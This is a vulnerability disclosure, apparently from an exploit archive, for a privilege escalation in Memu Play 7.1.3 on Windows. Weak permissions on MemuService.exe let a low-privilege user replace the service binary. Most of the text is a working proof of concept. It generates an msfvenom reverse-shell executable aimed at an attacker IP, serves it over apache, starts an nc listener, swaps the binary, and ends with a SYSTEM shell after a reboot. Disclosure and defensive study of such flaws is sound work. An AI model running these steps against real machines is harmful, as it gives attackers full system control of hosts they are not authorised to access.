Memu Play 7.1.3 – Insecure Folder Permissions
# Exploit Title: Memu Play 7.1.3 - Insecure Folder Permissions # Discovery by: chuyreds # Discovery Date: 2020-03-08 # Vendor Homepage: https://www.memuplay.com/ # Software Link : https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release # Tested Version: 7.1.3 # Vulnerability Type: Local # Tested on OS: Windows 10 Pro x64 es # Description: # Memu Play 7.1.3 suffers from Privilege Escalation due to insecure file permissions # Prerequisites # Local, Low privilege access with restart capabilities # Details # By default the Authenticated Users group has the modify permission to ESM folders/files as shown below. # A low privilege account is able to rename the MemuService.exe file located in this same path and replace # with a malicious file that would connect back to an attacking computer giving system level privileges # (nt authority\system) due to the service running as Local System. # While a low privilege user is unable to restart the service through the application, a restart of the # computer triggers the execution of the malicious file. C:\>icacls "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe" C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe Everyone:(I)(F) BUILTIN\Administradores:(I)(F) BUILTIN\Usuarios:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\TODOS LOS PAQUETES DE APLICACIÓN RESTRINGIDOS:(I)(RX) Se procesaron correctamente 1 archivos; error al procesar 0 archivos C:\>sc qc MEmuSVC [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: MEmuSVC TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe" GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : MEmuSVC DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem # Proof of Concept 1. Generate malicious .exe on attacking machine msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe 2. Setup listener and ensure apache is running on attacking machine nc -lvp 443 service apache2 start 3. Download malicious .exe on victim machine Open browser to http://192.168.1.130/MemuService.exe and download 4. Overwrite file and copy malicious .exe. Renename C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe > MemuService.bak Copy/Move downloaded 'MemuService.exe' file to C:\Program Files (x86)\Microvirt\MEmu\ 5. Restart victim machine 6. Reverse Shell on attacking machine opens C:\Windows\system32>whoami whoami nt authority\system |